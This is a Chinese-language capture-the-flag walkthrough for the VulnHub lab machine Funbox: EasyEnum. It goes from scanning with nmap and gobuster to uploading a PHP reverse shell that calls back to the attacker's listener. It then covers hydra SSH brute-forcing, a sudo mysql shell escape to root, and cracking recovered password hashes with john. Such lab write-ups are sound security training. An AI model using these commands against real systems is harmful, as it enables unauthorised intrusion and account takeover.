vulnhub Funbox: EasyEnum(funbox7)

渗透思路：

nmap扫描----gobuster扫描（带-x参数）----上传php反弹shell----hydra暴力破解goat用户密码----sudo mysql提权

环境信息：

靶机：192.168.101.55

攻击机：192.168.101.34

官网提示：

具体步骤：

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.55

扫描到22端口（ssh）和80端口（http）

2、gobuster扫描

浏览器访问http://192.168.101.55/发现是apache2 ubuntu默认页面

gobuster扫描一下网站目录，加个-x php在扫描的时候增加对.php文件的扫描

​gobuster dir -u http://192.168.101.55/ -w /usr/share/wordlists/dirb/big.txt -x php

扫描结果如下图所示。

如果不加-x php，下图中三个带.php后缀的文件是扫不出来的。

3、利用任意文件上传getshell

旁的也就不说了，也没啥用，/secret其实也没啥用，但是有点好玩，似乎是用户名，但是不知道怎么断句啊……而且看起来至少有5个用户名，如果都用hydra爆破，估计要爆破好久

/mini.php看起来有大用，毕竟官网提示中都说了，用"Daisys best friend"收集信息，米老鼠和唐老鸭里面有Daisy和Minnie，虽然不是mini但可能是谐音梗吧。

浏览器访问http://192.168.101.55/mini.php，发现可以上传文件

传个kali自带的php反弹shell上去，原始文件在/usr/share/webshells/php/php-reverse-shell.php，复制该文件，修改文件中的$ip和$port为攻击机ip和攻击机监听端口

修改好之后上传，上传成功后，文件会出现在列表中，并且从网页提示可以知道文件被上传到/var/www/html/目录下了

攻击机监听443端口

nc -nlvp 443

然后浏览器访问http://192.168.101.55/php-reverse.php，其中php-reverse.php是刚刚上传的php反弹shell文件

攻击机上得到www-data用户的shell

4、hydra暴力破解goat的ssh密码

进入/home/目录一看，有5个用户，有4个和http://192.168.101.55/secret/显示的结果是对的上的，但……这也没什么关系啦，反正http://192.168.101.55/secret/就是个烟雾弹。

根据官网提示，先去karla用户家目录下看看，有一个read.me文件，打开看看发现提示说karla和这个CTF没啥关系。

再看看其他用户家目录，别的用户倒是没什么有价值的东西，goat用户家目录下有个shadow.bak，不过只有root用户和root组能看……emmmm不过比起其他用户，表面上看起来goat已经是和root关系最密切的了。

碰碰运气，hydra爆破一下goat用户的ssh密码，根据官网提示用rockyou.txt字典（rockyou.txt来自/usr/share/wordlists/rockyou.txt.gz）

hydra -l goat -P "rockyou.txt" ssh://192.168.101.55

得到goat的ssh密码是thebest

5、sudo mysql提权

ssh goat@192.168.101.55

goat用户用密码thebest登录靶机后，查看是否可以执行sudo命令

sudo -l

发现goat可以以root身份执行mysql命令

gtfobins上查到mysql可以sudo提权：mysql | GTFOBins

执行命令

sudo mysql -e '\! /bin/sh'

得到root权限

/root/目录下获得flag

到处玩玩

在靶机上到处找找，还找到了harry和oracle用户的密码，但是这两个用户对于提权没啥用处，而且不能ssh登录，不知道是不是就是这个靶机的兔子洞。

（1）mysql中获取harry用户密码

进入mysql数据库

sudo mysql

查看所有数据库

show databases;

进入db1数据库

use db1

查看数据库中所有表

show tables;

查看users表的所有内容

select * from users;

发现了harry用户的md5加密的密码

拿到在线网站md5在线解密破解,md5解密加密解密，发现密码是123456

harry用户不能ssh登录，只能从goat切换。

su harry

然后输入密码123456

切换到harry之后发现harry没啥特殊才能……emmmmm

（2）john暴力破解oracle用户密码hash

查看/etc/passwd文件，发现oracle用户的密码是直接写在/etc/passwd中的，并且还是MD5加密的

把oracle用户这行拷贝到攻击机本地文件中，如果用echo命令写入文件的话，记得转义$和\

echo "oracle:\$1$|O@GOeN\\\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash" > oracle.txt

用john暴力破解oracle用户的密码hash，发现密码明文是hiphop

john oracle.txt

oracle用户也不能ssh登录，只能su命令切换到oracle用户啦

su oracle